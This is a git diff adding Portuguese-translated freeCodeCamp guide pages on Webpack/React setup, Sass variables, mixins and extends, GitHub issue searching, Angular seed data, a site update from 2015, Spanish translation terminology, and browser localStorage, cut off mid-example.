+Depois disso, será uma lista muito longa de todos os arquivos agrupados em `dist/bundle.js` pelo Webpack. Surpreendente!
+
+Agora é hora de ir para a URL fornecida pelo `webpack-dev-server` , `http://localhost:8080/` . Devemos ver uma página com um `h1` que diz:
+```
+This is one cool app! 
+```
+
+Vamos verificar o painel de elementos das nossas ferramentas de desenvolvimento. Nós devemos ter o seguinte:
+```
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>React Webpack Example</title> 
+  <style type="text/css"></style> 
+ </head> 
+ <body> 
+  <!-- React app will be injected into the following `div` element: --> 
+  <div id="app"> 
+    <div data-reactid=".0"> 
+      <h1 data-reactid=".0.0">This is one cool app!</h1> 
+    </div> 
+  </div> 
+  <!-- Include bundled JavaScript: --> 
+  <script src="bundle.js"></script> 
+ </body> 
+ </html> 
+```
+
+Se fizermos isso com o que escrevemos em `src/js/client.js` , veremos como o React é renderizado no `dist/index.html` .
+
+Se você chegou até aqui, bem feito! Agora você sabe como configurar um espaço de trabalho usando o código React, Webpack e ES6, o que é incrível, e fornece o ponto de partida para criar aplicativos da Web impressionantes usando tecnologias de ponta.
+
+No próximo tutorial, abordaremos algumas etapas mais avançadas, incluindo:
+
+*   Entrando em mais detalhes com o React
+*   Olhando para alguns outros recursos interessantes do Webpack, como compilar arquivos Sass
+*   Usando minification em nosso `dist/bundle.js`
+
+#### Mais Informações:
+
+[Web site Webpack](https://webpack.js.org/)
+
+[Webpack Github](https://github.com/webpack/webpack)
+
+[webpack-dev-server Github](https://github.com/webpack/webpack-dev-server)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/sass-syntax-and-tools/index.md b/client/src/guide/portuguese/miscellaneous/sass-syntax-and-tools/index.md
new file mode 100644
index 0000000000..74c45b2623
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/sass-syntax-and-tools/index.md
@@ -0,0 +1,184 @@
+---
+title: Sass Syntax and Tools
+localeTitle: Sintaxe Sass e Ferramentas
+---
+_"Um artista é tão bom quanto suas ferramentas."_
+
+Isso não é necessariamente verdade, mas as ferramentas que usamos podem certamente tornar as nossas vidas mais fáceis e as nossas tarefas mais fáceis de gerir. Imagine escrever código sem atalhos de teclado ou snippets disponíveis! Não é o fim do mundo, mas você ganha a essência.
+
+As "ferramentas", ou mais comumente referenciadas como diretivas, que estaremos discutindo são, na verdade, recursos incorporados que vêm junto com o Sass e podem nos ajudar, como desenvolvedores, a escrever código DRY-er (não se repetir) e mais limpo.
+
+_Se você gostaria de seguir em seu próprio editor de texto, eu recomendo instalar um **sintaxe de Sass-highlighter** . Atom e Sublime Text, bem como alguns outros editores suportam estes._
+
+## Variáveis
+
+Se você escreveu código em outra linguagem de programação (JavaScript, Python, Java, C, etc.), então você está familiarizado com o conceito de variáveis. Se não, então as variáveis ​​são basicamente declarações declaradas que podem armazenar algum tipo de valor como um número ou string.
+
+No Sass, as variáveis ​​funcionam basicamente da mesma maneira e podem ser declaradas com um caracter "$" ao lado do nome da variável:
+```
+$main-color: #CCCCCC; 
+```
+
+A variável acima está armazenando o código de cores hexagonais para um tom de cinza. Podemos declarar esta variável dentro de qualquer `.scss` ou `.sass` arquivo que estamos trabalhando no que também pode incorporar a variável em uma tag (HTML5 tag, ID, classe, seletores pseudo) ao denominar.:
+```
+$main-color: #CCCCCC; 
+ 
+ header { 
+  background-color: $main-color; 
+ } 
+```
+
+Neste trecho de código, atribuímos o valor da `background-color` de `background-color` do cabeçalho ao valor armazenado em `$main-color` , que (quando Sass compila para CSS) é exibido como:
+```
+header { 
+  background-color: #CCCCCC; 
+ } 
+```
+
+Arrumado! Mas não poderíamos apenas definir a `background-color` para `#CCCCCC` em primeiro lugar? A resposta é sim, mas há mais do que isso.
+
+Digamos que estamos criando um site de várias páginas para um cliente e acabamos de escolher um "esquema de cores" simples de três cores. Nossa barra de navegação, o rodapé são de uma cor, e talvez nossos elementos de artigo, parágrafos e cabeçalhos sejam uma das duas cores restantes. Então, um dia, o cliente muda sua mente o esquema de cores que selecionamos e quer que ele seja alterado. Ótimo.
+
+Então, temos a tarefa de examinar nossas várias folhas de estilo (ou talvez uma folha de estilos massiva, se você preferir) e alterar todos esses valores de cores. Talvez nós misturemos um. Ou talvez tenhamos saudades de um e tenhamos que continuar voltando para corrigi-los.
+
+Com variáveis ​​(e o uso de parciais de Sass que discutiremos mais adiante) podemos ajustar os valores nas declarações de variáveis, e em qualquer outro lugar usamos as variáveis ​​em nossa (s) folha (s) de estilo os valores serão alterados para refletir a atribuição de variável que alteramos. Este é apenas um exemplo de como variáveis ​​úteis podem ser usadas de acordo com o Sass. As variáveis ​​se tornam mais cruciais à medida que adicionamos ao nosso conjunto de ferramentas Sass.
+
+Na mesma nota, vamos abordar mixins.
+
+## Mixins
+
+Um mixin é um bloco de código reutilizável que pode receber argumentos, da mesma forma que uma função em JavaScript pode. No entanto, não deve ser confundido com o recurso `@function` função real no Sass.
+
+Mixins são declarados prefixando o caractere "@" na frente da palavra "mixin", então o nome do mixin. Abaixo está um exemplo de um mixin chamado btn que recebe dois argumentos e os aplica às propriedades CSS:
+```
+@mixin btn($color, $text-color) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+```
+
+Depois de escrever um mixin, nada acontecerá por padrão porque não colocamos o mixin em uso (semelhante a escrever uma função vs. chamar uma função). Vamos integrar nosso mixin. Vamos incluí-lo em um seletor de `button` HTML5 usando a instrução `@include` :
+
+_A instrução `@include` nos permite `@include` nosso estilo mixin em um seletor CSS de nossa escolha. Neste caso, o seletor de `button` com os valores azul e branco passou como argumentos._
+```
+button { 
+  @include btn(blue, white); 
+ } 
+```
+
+Que é algo que podemos usar em qualquer outro seletor de HTML, se quisermos. Isso compilaria para:
+```
+button { 
+  background-color: blue; 
+  color: white; 
+  padding: 1em; 
+ } 
+```
+
+Apenas usando a única linha `@include btn(blue, white);` dentro de nosso seletor de botão, podemos trazer todo o código escrito dentro de nosso mixin com azul e branco passados ​​como argumentos. Além disso, podemos definir valores padrão para os argumentos passados ​​para um mixin. Por exemplo, digamos que nosso mixin de botões tenha como padrão uma cor específica e uma cor de fonte se nenhum valor for passado quando chamado:
+```
+@mixin button($color: green, $text-color: red) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+```
+
+Digitando um ":" seguido do valor padrão que queremos definir, atribuímos verde como valor padrão para nosso argumento `$color` e vermelho como valor padrão para nosso argumento `$text-color` .
+
+Agora, se fôssemos chamar nosso mixin sem passar nenhum valor ...
+```
+button { 
+  @include btn; 
+ } 
+```
+
+Isso compila em:
+```
+button { 
+  background-color: green; 
+  color: red; 
+  padding: 1em; 
+ } 
+```
+
+Se quiséssemos colocar nossas variáveis ​​em uso com nosso mixin, poderíamos também fazer o seguinte:
+```
+$main-color: #CCCCCC; 
+ $second-color: #FFFFFF; 
+ 
+ @mixin button($color: $main-color, $text-color: $second-color) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+```
+
+No exemplo acima, declaramos duas variáveis ​​com valores de cores hexadecimais distintos, em seguida, definimos os argumentos `$color` e `$text-color` como padrão para nossas variáveis, se nenhum argumento for passado.
+
+Geralmente é considerado uma boa prática definir valores padrão para um mixin, mas definitivamente não é necessário. Você descobrirá que muitos desenvolvedores têm sua própria maneira de escrever códigos e opiniões variadas sobre o que é considerado o "melhor".
+
+A diversão não vai parar por aqui. Há um bom punhado de outros truques úteis que podemos executar ao escrever mixins e uma infinidade de possibilidades em como escrevê-los. O que é importante tirar de mixins é que eles servem como módulos ou "objetos" nos quais podemos declarar certos estilos, passar valores e reutilizar em nosso código onde for necessário, em vez de nos repetirmos continuamente ao mesmo tempo em que criamos diferentes elementos. Eles podem nos ajudar a ficar mais verdadeiros com o princípio DRY.
+
+## Estende
+
+A última ferramenta que discutiremos é a diretiva extend. As extensões podem ser usadas para duplicar um estilo que aplicamos anteriormente a outro elemento. No entanto, há muito mais acontecendo nos bastidores ao implementar uma extensão e isso pode produzir alguns efeitos colaterais indesejados em nosso estilo, se não formos cuidadosos.
+
+Abaixo está um exemplo de uma diretiva extend sendo usada:
+```
+.primary-module { 
+  color: red; 
+ } 
+ 
+ .another-module { 
+  @extend .primary-module; 
+ } 
+ 
+ // This ouputs the following CSS 
+ 
+ .primary-module, .another-module { 
+  color: red; 
+ } 
+```
+
+Nada muito obscuro aqui ainda. Temos um segmentador de `.another-module` que usa um estilo de extensão para clone que foi aplicado ao seletor `.primary-module` . Isso gera um estilo de `color: red;` sendo aplicado à classe `.primary-module` e `.another-module` . Lógico até agora e uma ferramenta que tem um efeito semelhante ao incluir um mixin em vários elementos que precisam compartilhar o mesmo estilo.
+
+Agora vamos dar uma olhada em um exemplo diferente e escolher onde uma diretiva extend complica um pouco:
+```
+.primary-module p { 
+  color: red; 
+ } 
+ 
+ .another-module { 
+  @extend .primary-module; 
+ } 
+ 
+ // This outputs the following CSS 
+ 
+ .primary-module p, .another-module p { 
+  color: red; 
+ } 
+```
+
+Você pegou? O seletor de `.another-module` está usando uma extensão no seletor `.primary-module p` . `.another-module` . Note que, porque o `.primary-module` possui um seletor de descendência de `p` (tag de parágrafo), quando a extensão é chamada e nosso código Sass é compilado, o estilo da `color: red;` está sendo aplicado ao `.primary-module p` e `.another-module p` .
+
+O que está acontecendo é que a diretiva extend não está clonando apenas o estilo do `.primary-module p` , mas está clonando o tag seletor de descendência de `p` e adicionando isso a um `.another-module` . Estamos copiando o estilo e o seletor descendente do que tomamos emprestado. Como resultado, o estilo que estendemos está sendo aplicado a elementos de parágrafo que são descendentes de `.another-module` e não simplesmente de elementos com uma classe de `.another-module` .
+
+Você pode ver onde algo como isso pode ficar peludo, se não estamos cientes do que está fazendo.
+
+Então, nós olhamos atrás das cortinas e agora você pode estar pensando _Qual é o sentido de usar extensões? Vale a pena ou posso usar mixins?_
+
+A resposta curta (há muito mais a ser dito sobre esse tópico) é que, com frequência, as extensões serão usadas para usar propositalmente a herança de estilos aplicados a outros elementos ou para fazer uso particular do que é conhecido como **classes silenciosas** no Sass. Extensões geralmente podem realizar o que mixins podem quando usadas com cuidado, mas não devem ser usadas sem pensar no lugar de outra. Prática estende e usá-los com um propósito específico em mente.
+
+Quanto às aulas silenciosas, isso é algo que esperamos que seja abordado em uma próxima seção deste artigo. Por enquanto, apenas saiba que as classes silenciosas são seletores em Sass, que são prefixados com um caractere "%" e não serão compilados, a menos que sejam chamados por extensão.
+
+## Conclusão
+
+Se você chegou ao final deste artigo, você merece algum reconhecimento. Eu escrevi isso na esperança de explicar Sass de uma maneira que eu gostaria que tivesse sido ensinado para mim quando eu comecei a brincar com isso. Se o CSS é algo com o qual você luta ou sempre se sentiu apreensivo por causa da rapidez com que se torna uma bagunça, então esperamos que o Sass comece a aliviar algumas dessas frustrações.
+
+Este artigo serve como um "curso intensivo" de sorte para molhar os pés no mundo do Sass. Há ainda uma quantidade significativa de ferramentas e recursos que fazem o Sass brilhar, assim como as melhores práticas quando se trata de **estruturar suas folhas de estilo e dividi-las em parciais** .
+
+Meu conselho é começar o sandbox em seu próprio editor de texto e no [Sassmeister](http://www.sassmeister.com/) para ficar mais confortável com os conceitos abordados neste artigo. Esteja também à procura do curso Free Code Camp Sass em breve.
+
+Saia e suba de nível o seu jogo Sass.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/searching-for-existing-issues-in-github/index.md b/client/src/guide/portuguese/miscellaneous/searching-for-existing-issues-in-github/index.md
new file mode 100644
index 0000000000..d929fbb142
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/searching-for-existing-issues-in-github/index.md
@@ -0,0 +1,15 @@
+---
+title: Searching for Existing Issues in Github
+localeTitle: Procurando por problemas existentes no Github
+---
+Se você ainda encontrar problemas depois de obter ajuda no Gitter , tente ver se alguém postou um problema semelhante.
+
+![gif percorrendo as etapas subseqüentes para pesquisar no GitHub o problema](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3577718dd9fe14fbe80b203bc3cc56cdb0d9c3af.gif)
+
+1.  Vá para a página de [problemas](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) do [Github](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) do FreeCodeCamp.
+    
+2.  Use a barra de pesquisa para pesquisar problemas já arquivados que possam estar relacionados ao seu problema.
+    
+    *   Se você encontrar um, leia! Você pode se inscrever para receber atualizações sobre esse problema específico, clicando em `Subscribe` na barra lateral. Você também pode comentar o problema se tiver algo a acrescentar.
+        
+    *   Se você não encontrar nenhum problema relevante, crie um novo problema no Github .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/searching-for-existing-issues/index.md b/client/src/guide/portuguese/miscellaneous/searching-for-existing-issues/index.md
new file mode 100644
index 0000000000..5e26548184
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/searching-for-existing-issues/index.md
@@ -0,0 +1,15 @@
+---
+title: Searching for Existing Issues
+localeTitle: Procurando por problemas existentes
+---
+Se você ainda encontrar problemas depois de [obter ajuda no Gitter](http://forum.freecodecamp.com/t/how-to-get-help-on-gitter/19130) , tente ver se alguém postou um problema semelhante.
+
+![gif percorrendo as etapas subseqüentes para pesquisar no GitHub o problema](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3577718dd9fe14fbe80b203bc3cc56cdb0d9c3af.gif)
+
+1.  Vá para a página de [problemas](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) do [Github](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) do FreeCodeCamp.
+    
+2.  Use a barra de pesquisa para pesquisar problemas já arquivados que possam estar relacionados ao seu problema.
+    
+    *   Se você encontrar um, leia! Você pode se inscrever para receber atualizações sobre esse problema específico, clicando em `Subscribe` na barra lateral. Você também pode comentar o problema se tiver algo a acrescentar.
+        
+    *   Se você não encontrar nenhum problema relevante, [crie um novo problema no Github](http://forum.freecodecamp.com/t/creating-a-new-github-issue/18392) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/seed-data-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/seed-data-in-angular/index.md
new file mode 100644
index 0000000000..3ca848a38f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/seed-data-in-angular/index.md
@@ -0,0 +1,7 @@
+---
+title: Seed Data in Angular
+localeTitle: Dados de sementes em angular
+---
+As _coisas_ que aparecem na visualização principal do seu aplicativo fazem parte de alguns dados iniciais que são adicionados ao seu banco de dados (incluindo seus usuários de teste e admin) toda vez que você reiniciar o aplicativo (executando o `grunt serve` na linha de comando). Esses dados são definidos em **/server/config/seed.js** .
+
+Você pode adicionar, remover ou alterar dados neste arquivo, e ele será gravado em seu banco de dados, sobrescrevendo quaisquer duplicatas na próxima vez que você executar o `grunt serve` . Se um objeto definido em **seed.js** for sobrescrito, o banco de dados atribuirá um novo _._ propriedade ID\_ a ele (vamos _cobrir._ ID\_ propriedades na próxima seção), o que pode dar-lhe alguns problemas mais tarde no teste. Para evitar isso, você pode desativar a propagação configurando `seedDB: false` em **/server/config/environment/development.js** .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md b/client/src/guide/portuguese/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md
new file mode 100644
index 0000000000..39165d4a78
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md
@@ -0,0 +1,51 @@
+---
+title: Setting Up a React Es6 and Webpack Project
+localeTitle: Configurando um Projeto React Es6 e Webpack
+---
+Este wiki irá instruí-lo sobre como configurar um projeto básico que use React, Webpack e ES6. Vamos ver tudo configurado em profundidade.
+
+*   [Ajuda: Mais sobre Reagir](https://facebook.github.io/react/docs/why-react.html)
+
+Para este projeto, faremos uso do Webpack, que é um módulo bundler, e é comumente usado em projetos do React.
+
+*   [Ajuda: Mais sobre o Webpack](https://webpack.github.io/docs/what-is-webpack.html)
+
+[Reaja bem com o ES6](https://babeljs.io/blog/2015/06/07/react-on-es6-plus) , então vamos usar o ES6 em nosso código.
+
+> O ES6 é uma atualização significativa para o idioma e a primeira atualização para o idioma desde que o ES5 foi padronizado em 2009.  
+> \- [lukehoban](https://github.com/lukehoban/es6features)
+
+O ES6 não funciona nos navegadores por si só, mas podemos fazê-lo funcionar manualmente usando o Babel para transpilá-lo para o ES5.
+
+Um recurso importante das tecnologias que estamos usando é que nosso arquivo `index.html` se referirá a um arquivo JavaScript incluído, do qual podemos nos referir em outros arquivos JavaScript, em vez de nos referirmos a eles a partir do arquivo HTML com tags de `script` .
+
+*   [Ajuda: Mais sobre o ES6](http://dev.venntro.com/2013/09/es6-part-1/)
+
+## Pré-requisitos
+
+Este tutorial destina-se a fornecer uma estrutura básica sobre a qual expandir. Deve ser um bom ponto de partida para quem quer aprender Reagir e ES6. Se você ainda não construiu nada com JavaScript ou jQuery, você deve passar por alguns dos exercícios no [mapa FreeCodeCamp](http://www.freecodecamp.com/map) primeiro.
+
+Antes de começar, verifique se você tem o [NodeJS](https://nodejs.org/en/download/) e o [Node Package Manager](http://blog.npmjs.org/post/85484771375/how-to-install-npm) instalados nas versões mais recentes.
+
+# Instruções Rápidas
+
+Aqui está uma lista de todas as instruções mencionadas neste tutorial.
+
+*   `npm install webpack webpack-dev-server -g`
+*   `mkdir react-webpack-example && cd $_`
+*   `touch webpack.config.js`
+*   `npm init`
+*   `npm install --save-dev react react-dom webpack webpack-dev-server babel-loader babel-core babel-preset-es2015 babel-preset-react`
+*   `touch .gitignore`
+*   escreva `.gitignore` (use [https://www.gitignore.io/api/node](https://www.gitignore.io/api/node) )
+*   `mkdir src`
+*   `mkdir dist`
+*   `mkdir src/js`
+*   `touch src/js/client.js`
+*   `touch dist/index.html`
+*   escreva `dist/index.html`
+*   escreva `src/js/client.js`
+*   escrever `webpack.config.js`
+*   `webpack`
+*   `webpack-dev-server --content-base dist`
+*   Abra a rota do servidor de desenvolvimento Webpack no navegador. Feito!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/setting-up-ubuntu-for-programming/index.md b/client/src/guide/portuguese/miscellaneous/setting-up-ubuntu-for-programming/index.md
new file mode 100644
index 0000000000..de638affcc
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/setting-up-ubuntu-for-programming/index.md
@@ -0,0 +1,17 @@
+---
+title: Setting Up Ubuntu for Programming
+localeTitle: Configurando o Ubuntu para programação
+---
+> Nota: Estaremos nos referindo ao Ubuntu 16.04 LTS (Xenial Xerus) nesses artigos.
+
+[1\. Baixe e instale o Ubuntu Desktop](http://forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383)
+
+[2\. Personalizando o Ubuntu](http://forum.freecodecamp.com/t/customizing-ubuntu/18382)
+
+[3\. Jazzing up the Terminal](http://forum.freecodecamp.com/t/jazzing-up-the-terminal/18386)
+
+[4\. Instalando DevTools e navegadores da web modernos](http://forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385)
+
+[5\. Download de editores de texto e IDEs](http://forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384)
+
+[6\. Alternativas para o popular software Windows e Mac](http://forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/site-improvements-for-october-2015/index.md b/client/src/guide/portuguese/miscellaneous/site-improvements-for-october-2015/index.md
new file mode 100644
index 0000000000..c84a804bed
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/site-improvements-for-october-2015/index.md
@@ -0,0 +1,76 @@
+---
+title: Site Improvements for October 2015
+localeTitle: Melhorias no site para outubro de 2015
+---
+Nossa comunidade de código aberto tem trabalhado duro ao longo de setembro em algumas melhorias importantes. Vamos manter esse ritmo e fazer uma transmissão ao vivo especial para nosso primeiro aniversário (15 de outubro de 2015). Aqui estão as melhorias que acabamos de empurrar para a produção:
+
+## Certificação
+
+*   Surgiram novos desafios chamados "Reivindicar seu certificado de desenvolvedor de front-end" e "Reivindicar seu certificado de desenvolvedor de pilha completa".
+*   Nós criamos a aceitação de nossa Política de Honestidade Acadêmica nesses desafios de certificação.
+*   Os certificados são emitidos programaticamente quando você atende aos requisitos deles.
+*   Os certificados estão disponíveis diretamente em seu portfólio de códigos e podem ser visualizados publicamente para todos, desde que você não tenha ocultado suas soluções.
+*   Cada certificado tem um URL verificável exclusivo que os empregadores podem verificar. Isso torna impossível forjar nossos certificados sem acesso aos nossos servidores de produção.
+
+## Portfólios de código
+
+*   Todos os desafios e suas soluções agora aparecem no seu portfólio de códigos, incluindo os Desafios.
+*   Você pode ocultar suas soluções de outras pessoas.
+
+## Campistas não autenticados
+
+*   Você pode completar todos os nossos desafios sem ser incomodado para fazer o login.
+*   Depois de concluir um desafio, você será redirecionado para o próximo desafio lógico, mesmo que não esteja conectado.
+
+## Desafios aprimorados
+
+*   [A @berkeleytrue](/users/berkeleytrue) descobriu uma maneira de tornar todas as soluções de desafios 100% compartilháveis. Você pode copiar um URL diretamente do seu navegador e compartilhá-lo com outras pessoas, e ele poderá executar seu código nos testes do desafio. As URLs são atualizadas automaticamente quando você executa os testes de um desafio.
+*   Nós reescrevemos completamente todos os testes de Algoritmo para ser o mais transparentes possível. Por solicitação popular, nós não mostramos mais os testes de Chai - apenas uma mensagem explicando claramente o que cada teste está testando.
+*   Por solicitação popular, adicionamos desafios no estilo gif e estamos substituindo nossos desafios de estilo de vídeo por esses. Todos os nossos vídeos antigos permanecerão disponíveis em nosso [canal do YouTube](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) .
+
+## Melhorias na Wiki
+
+*   [O @ rafase282](/users/rafase282) quase terminou de criar notas para cada desafio no currículo do Free Code Camp , incluindo dicas e soluções.
+*   [A @codenonprofit](/users/codenonprofit) começou a criar artigos wiki de estilo "portal" que servem como melhores pontos de entrada em nosso emaranhado de mais de 400 artigos.
+
+## Experimentos resolvidos
+
+*   Plug.dj desligado, e nossa sala plug.dj com ele. Alguns de nossos campistas estão trabalhando na construção de um aplicativo de música de código aberto para substituí-lo.
+*   Nós removemos várias salas Gitter de baixo tráfego do nosso wiki e criamos uma [sala de bate](https://gitter.im/freecodecamp/casual) - [papo](https://gitter.im/freecodecamp/casual) informal para [bate](https://gitter.im/freecodecamp/casual) - [papos](https://gitter.im/freecodecamp/casual) não relacionados à codificação.
+*   Recomendamos agora que os participantes usem o grupo do grupo local no Facebook para conversar em vez da sala de bate-papo Gitter do acampamento. Apenas alguns dos nossos chatoooms de grupo local tiveram discussões síncronas ativas, e cerca de 1/3 de todas as conversas consistiram em alguém dizendo "olá" e não obtendo resposta. Nós removemos todos os nossos quartos Gitter de Grupo Local do nosso diretório de Grupo Local. Ainda assim, vamos mantê-los abertos para fins de arquivamento, e você pode continuar usando-o se quiser. Aqui está uma breve [postagem no blog](http://blog.freecodecamp.com/2015/09/jump-start-your-local-campsite-with-coffee-and-code.html) sobre como nossos grupos locais estão evoluindo e crescendo.
+
+## Outros desenvolvimentos emocionantes
+
+*   Acabamos de lançar nossa primeira [campanha de camisetas](https://teespring.com/get-free-code-camp-t-shirt) e adicionamos uma segunda campanha para o [cumprimento da UE](https://teespring.com/free-code-camp-shirt-eu) .
+*   Acabamos de lançar o Commit. Em vez de entrar em detalhes aqui, leia o [post do blog @ codenonprofit](http://blog.freecodecamp.com/2015/10/commit-to-yourself-commit-to-nonprofit.html) .
+*   Lançamos o [Free Code Camp Labs](http://freecodecamp.com/labs) para mostrar alguns projetos exclusivos que nossos campistas estão construindo.
+*   Nós começamos a reunir [histórias de campistas](http://freecodecamp.com/stories) e colocá-los todos em um só lugar. Estes são apenas uma fração dos campistas que avançaram em suas carreiras e conseguiram trabalhos de codificação depois de aprenderem com o Free Code Camp, mas é uma amostra bastante representativa.
+
+## Melhorias chegando nas próximas semanas:
+
+*   Um botão de dica clicável em cada desafio que percorre uma série de dicas cada vez mais úteis.
+*   Soluções recomendadas com as quais você pode comparar sua solução depois de concluir cada desafio.
+*   Nós regravamos alguns de nossos gifs com aparência datada.
+*   Vamos finalizar o Get Set for Back End Projects com o Clementine.js (desafio estilo gif)
+*   Nós vamos terminar o novo Get Set for Front End Projects (desafio estilo gif)
+*   Vamos mover todos os desafios do Projeto Front End e do Projeto Back End para o estilo gif.
+*   Vamos adicionar um botão de volta aos nossos desafios no estilo gif.
+*   Vamos lançar o nosso quadro de empregos.
+*   Vamos publicar vários novos desafios relacionados à JSON API e ao AJAX
+*   Terminaremos uma mecânica de criação de quadros de líderes, projetada para professores, para rastrear alunos e campistas para rastrear seus amigos.
+*   Nós vamos terminar a interface do Hikes (Hikes são os [desafios da teoria da ciência](https://www.youtube.com/watch?v=q7tlgZg4Q1o&list=PLWKjhJtqVAbmfoj2Th9fvxhHIeqFO7wOy) da [computação de](https://www.youtube.com/watch?v=q7tlgZg4Q1o&list=PLWKjhJtqVAbmfoj2Th9fvxhHIeqFO7wOy) Briana Swift)
+*   Vamos fechar os pedidos de 30 que se acumularam (obrigado, colaboradores!)
+
+## E metas de longo prazo que ainda não esquecemos:
+
+*   Suporte para os principais idiomas do mundo (a [tradução ainda está em andamento](https://trello.com/b/m7zhwXka/fcc-translation) )
+*   Transformando o Free Code Camp em um aplicativo isomorfo de página única
+*   Criando um substituto baseado em navegador para o Screen Hero / Team Viewer que é adequado para o emparelhamento no Free Code Camp.
+*   Currículo React.js
+*   Currículo D3.js e visualização de dados Front End Projects
+
+## Nossa base de código está melhorando rapidamente.
+
+Se você vir algo que parece estranho ou quebrado, clique no botão "bug" e crie um problema no GitHub para nós. Obrigado pela sua paciência e apoio.
+
+Codificação feliz!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/spanish-terminology-alignment/index.md b/client/src/guide/portuguese/miscellaneous/spanish-terminology-alignment/index.md
new file mode 100644
index 0000000000..8ff99c82f8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/spanish-terminology-alignment/index.md
@@ -0,0 +1,67 @@
+---
+title: Spanish Terminology Alignment
+localeTitle: Alinhamento da Terminologia Espanhola
+---
+Para evitar confusão para outros campistas, precisamos alinhar todos os tradutores com a mesma terminologia. Para fazer isso, criamos uma lista com as palavras e traduções mais comuns que usamos até agora.
+
+Vale ressaltar que todos os termos estão abertos à discussão. No caso de alguma alteração ter que ser feita, você pode nos enviar uma mensagem direta através do Slack para @miya ou @eabedrapo .
+
+## Terminologia do FCC
+
+### Não traduzido
+
+*   Camp Code Livre
+*   Desafio
+*   Algoritmo
+*   Projeto Front End
+*   Projeto de back-end
+*   Botões do menu superior.
+*   Campista
+*   Pilha cheia
+*   Bug
+
+## Terminologia de CS
+
+### Não traduzido
+
+*   Hardware
+*   Software
+*   Pouco
+*   Byte
+*   Front-end
+*   Link
+*   Framework
+*   Consulta
+
+### Traduzido
+
+*   Lógica Booleana: Lógica Booleana
+*   Loop: Búcleo
+*   Ciência da Computação: Computação
+*   Executar (um programa): executar
+*   Clique: Clique
+*   Responsivo: Adaptável
+
+## Terminologia geral
+
+### Traduzido
+
+*   Sem fins lucrativos: empresas sem fins lucrativos
+*   Self-paced: gerenciado no seu próprio ritmo
+
+## Terminologia HTML / CSS
+
+### Não Traslado
+
+*   Web
+*   Tests & challengeSeeds (eles não devem ser traduzidos, pelo menos para esta primeira versão).
+
+#### Fazer
+
+Vídeo para mostrar a outras pessoas como colaborar com a tradução e revisão dos arquivos.
+
+#### Para discutir
+
+Gênero para usar? Ahem: "Uma das melhores maneiras de se manter **motivado** quando você está aprendendo ..."
+
+*   "motivado ou motivado" (ambos?)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/store-data-in-web-browsers-storage/index.md b/client/src/guide/portuguese/miscellaneous/store-data-in-web-browsers-storage/index.md
new file mode 100644
index 0000000000..5211ade004
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/store-data-in-web-browsers-storage/index.md
@@ -0,0 +1,87 @@
+---
+title: Store Data in Web Browsers Storage
+localeTitle: Armazenar dados no armazenamento de navegadores da Web
+---
+Para gerenciar os dados manipulados pelo seu aplicativo da Web, você não precisa necessariamente de um banco de dados. Os respectivos recursos de Armazenamento do Navegador são suportados pelo Chrome (versão 4 e superior), Mozilla Firefox (versão 3.5 e superior) e Internet Explorer (versão 8 e superior) e uma variedade de outros navegadores, incluindo os de iOS e Android.
+
+Existem duas possibilidades principais para o armazenamento do navegador:
+
+## 1\. localStorage
+
+Qualquer conteúdo / dados salvos no objeto `localStorage` estará disponível depois que o navegador for reiniciado (fechado e aberto novamente). Para **_salvar um item_** no `localStorage` , você pode usar o método `setItem()` . Este método deve receber uma chave e um valor.
+```
+Example: localStorage.setItem("mykey","myvalue"); 
+```
+
+Para **_recuperar o item do localStorage_** , o método `getItem` deve ser usado. O método `getItem` deve receber a chave dos dados que você gostaria de recuperar:
+```
+  Example: localStorage.getItem("mykey"); 
+```
+
+Você pode remover um item do `localStorage` usando o método `removeItem()` . Este método deve receber a chave do item a ser removido:
+```
+  Example: localStorage.removeItem("mykey"); 
+```
+
+Para limpar todo o `localStorage` , você deve usar o método `clear()` no objeto `localStorage` :
+```
+  Example: localStorage.clear(); 
+```
+
+## 2\. sessionStorage
+
+Itens salvos no objeto `sessionStorage` permanecerão até que o navegador seja fechado pelo usuário. Em seguida, o armazenamento será limpo.
+
+Você pode salvar um item para `sessionStorage` , por favor use o método `setItem()` no objeto `sessionStorage` :
+```
+Example: sessionStorage.setItem("mykey","myvalue"); 
+```
+
+Para **_recuperar o item do sessionStorage_** , o método `getItem` deve ser usado. O método `getItem` deve receber a chave dos dados que você gostaria de recuperar:
+```
